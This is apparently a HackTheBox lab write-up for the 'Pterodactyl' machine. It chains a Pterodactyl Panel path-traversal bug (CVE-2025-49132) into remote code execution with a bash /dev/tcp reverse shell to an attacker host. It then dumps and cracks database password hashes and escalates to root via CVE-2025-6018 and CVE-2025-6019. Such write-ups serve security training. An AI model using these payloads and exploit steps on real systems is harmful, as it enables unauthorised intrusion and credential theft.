Skip to content
HackIndex logo

HackIndex

Pterodactyl Writeup - HackTheBox

Medium Linux

Last updated May 16, 2026 5 min read

Joshua

HackIndex Creator

Discovery

TCP scan reveals two open ports. The HTTP server immediately redirects to pterodactyl.htb, signalling virtual host routing.

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6 (protocol 2.0)
80/tcp open  http    nginx 1.21.5
|_http-title: Pterodactyl

Vhost enumeration against the base domain finds one additional subdomain. The panel vhost returns a 200 with a distinct response size — confirmed live.

┌──(kali㉿kali)-[~]
└─$ gobuster vhost -u pterodactyl.htb -w /usr/share/wordlists/dirb/big.txt --append-domain --xs 400,301 -t 50
panel.pterodactyl.htb   Status: 200 [Size: 1897]

Add both to /etc/hosts:

┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP pterodactyl.htb panel.pterodactyl.htb" >> /etc/hosts

panel.pterodactyl.htb serves the Pterodactyl Panel login interface — a PHP/Laravel game server management platform. The X-Powered-By header confirms PHP 8.4.8 on nginx 1.21.5.

Vulnerability Discovery

CVE-2025-49132 — Unauthenticated LFI via locale endpoint

Pterodactyl Panel ≤ 1.11.10 exposes a path traversal vulnerability through the /locales/locale.json endpoint. The locale and namespace GET parameters are not sanitised, allowing traversal outside the locale directory into the application's config tree. Because PEAR (pearcmd.php) is installed on the system, the LFI can be chained into unauthenticated RCE.

Confirm the endpoint is accessible and the target is vulnerable:

┌──(kali㉿kali)-[~]
└─$ curl -v "http://panel.$DOMAIN/locales/locale.json"

The server returns HTTP 200 with a valid session cookie and CSRF token — no authentication required. Multiple public PoCs confirm the path traversal with locale=../../../pterodactyl&namespace=config/database.

Run the scanner to confirm:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-49132-PoC.py --url http://panel.$DOMAIN
[+] Vulnerable: Vulnerability confirmed
    Exploit URL: http://panel.pterodactyl.htb/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
    Extracted APP_KEY: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

Run the credential dumper:

┌──(kali㉿kali)-[~]
└─$ python3 dump-creds.py http://panel.$DOMAIN
App key: base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=

-- Database config --
host: 127.0.0.1  port: 3306  database: panel
username: pterodactyl  password: $PTERODACTYL_PASSWORD

Database credentials are stored in plaintext inside the Laravel config. The APP_KEY is used by Laravel to encrypt session cookies — possession of it allows session forgery, but RCE is the faster path here.

Initial Access

RCE via pearcmd.php

phpinfo.php on pterodactyl.htb reveals PEAR is installed at /usr/share/php/PEAR. The pearcmd.php file can be included via the same locale traversal, and PEAR's config-create command writes arbitrary content to a path controlled by the attacker. This gives file write and therefore RCE.

Start a listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Run the full exploit with a reverse shell payload, pointing at the confirmed PEAR path:

┌──(kali㉿kali)-[~]
└─$ python3 exploit.py http://panel.$DOMAIN \
--rce-cmd "/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" \
--pear-dir /usr/share/php/PEAR
[+] TARGET IS VULNERABLE
[+] Output: (connection held — check your listener)

Shell received:

connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP]
wwwrun@@pterodactyl:/var/www/pterodactyl/public>

Running as wwwrun (uid=474). The web root is /var/www/pterodactyl.

Post-Exploitation

Credential extraction via MySQL

Two shell users exist with a login shell: headmonitor and phileasfogg3. The database credentials from the config dump work directly against the local MySQL instance.

┌──(kali㉿kali)-[~]
└─$ mysql -u pterodactyl -p$PTERODACTYL_PASSWORD -h 127.0.0.1 -D panel \
-e "SELECT id, username, email, password, root_admin FROM users;"
id  username      email                         root_admin
2   headmonitor   [email protected]   1
3   phileasfogg3  [email protected]  0

Two bcrypt hashes. Save them to hashes.txt and crack offline:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt -w 3 --force

One hash cracks. $PHILEASFOGG3_PASSWORD recovers for phileasfogg3. The headmonitor hash does not crack from rockyou.

User Shell

SSH with the cracked credentials:

┌──(kali㉿kali)-[~]
└─$ ssh phileasfogg3@$TARGET_IP
(phileasfogg3@$TARGET_IP) Password:
Have a lot of fun...
phileasfogg3@pterodactyl:~>

sudo -l returns nothing actionable — targetpw is set, blocking sudo escalation without root's password. No writable cron entries. SUID scan returns only standard system binaries. PATH includes /home/phileasfogg3/bin first, but the directory is empty.

Check local mail:

┌──(kali㉿kali)-[~]
└─$ cat /var/mail/phileasfogg3

An internal message from headmonitor flags unusual activity from the udisksd daemon and advises reviewing logs and applying updates. Combined with udisksd running as root (confirmed via busctl list), this points directly to CVE-2025-6019.

Privilege Escalation

CVE-2025-6018 + CVE-2025-6019 — PAM session spoof to UDisks2 LPE

Two vulnerabilities chained:

CVE-2025-6018 — PAM pam_env.so 1.3.0 reads ~/.pam_environment before pam_systemd.so registers the session. The OVERRIDE directive lets an unprivileged user inject XDG_SEAT=seat0 and XDG_VTNR=1 into the environment, causing systemd-logind to register the SSH session as a local physical session. This grants allow_active Polkit status — the same privilege level as a user physically present at the console.

CVE-2025-6019 — When UDisks2.Filesystem.Resize is called on an XFS loop device with an impossible target size (e.g. 1), libblockdev creates a temporary mount at /tmp/blockdev.XXXXXX/, mounts the loop device, fails the resize, then returns without unmounting. Any SUID binary inside the image remains accessible through the stuck mount.

The allow_active session from CVE-2025-6018 is required to call udisksctl loop-setup and trigger the resize — without it, Polkit rejects both operations.

Build the exploit image (attacker machine)

Clone the PoC and run it locally to generate the XFS image containing a static SUID root binary:

┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-6018-6019-PoC
┌──(kali㉿kali)-[~]
└─$ sh build_poc.sh
[+] Compiled static rootbash.
[+] Created XFS image.
[+] Injected SUID shell into image.
[+] Compiled static catcher.
[SUCCESS] Upload 'exploit.img' and 'catcher' to the target /tmp folder.

A static binary is required because SUID execution ignores LD_LIBRARY_PATH — a dynamically linked binary would fail if library versions differ between attacker and target.

Transfer to the target:

┌──(kali㉿kali)-[~]
└─$ scp exploit.img catcher exploit.sh phileasfogg3@$TARGET_IP:/tmp/

Stage 1 — Inject PAM environment and verify allow_active

The CVE-2025-6018 script handles the .pam_environment write and reconnection automatically:

┌──(kali㉿kali)-[~]
└─$ python3 CVE-2025-6018.py -i $TARGET_IP -u $USER -p $PHILEASFOGG3_PASSWORD
[INFO] Vulnerable PAM version detected: pam-1.3.0
[INFO] pam_systemd.so found - escalation vector available
[INFO] Writing .pam_environment file
[INFO] Reconnecting to trigger PAM environment loading
[INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
[INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed
[INFO] Starting interactive shell session
--- Interactive Shell ---

Verify the session registered as a local seat:

┌──(kali㉿kali)-[~]
└─$ loginctl show-session $(loginctl | awk 'NR==2{print $1}')
VTNr=1
Seat=seat0
Active=yes

Seat=seat0 and VTNr=1 confirm allow_active. The session is now treated as physically local.

Stage 2 — Trigger CVE-2025-6019 and catch the stuck mount

From inside the exploit shell, make the files executable then run the exploit:

┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/exploit.sh /tmp/catcher
┌──(kali㉿kali)-[~]
└─$ /tmp/exploit.sh
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] Sniper started. Waiting for ANY loop mount...
[*] (BG) Setting up loop device...
[*] (BG) Triggering Resize on /org/freedesktop/UDisks2/block_devices/loop0...

[!!!] HIT! Mounted at: /tmp/blockdev.RBR2K3
pterodactyl:~ # whoami
root

Root shell obtained via the static SUID binary left accessible in the stuck XFS mount.

References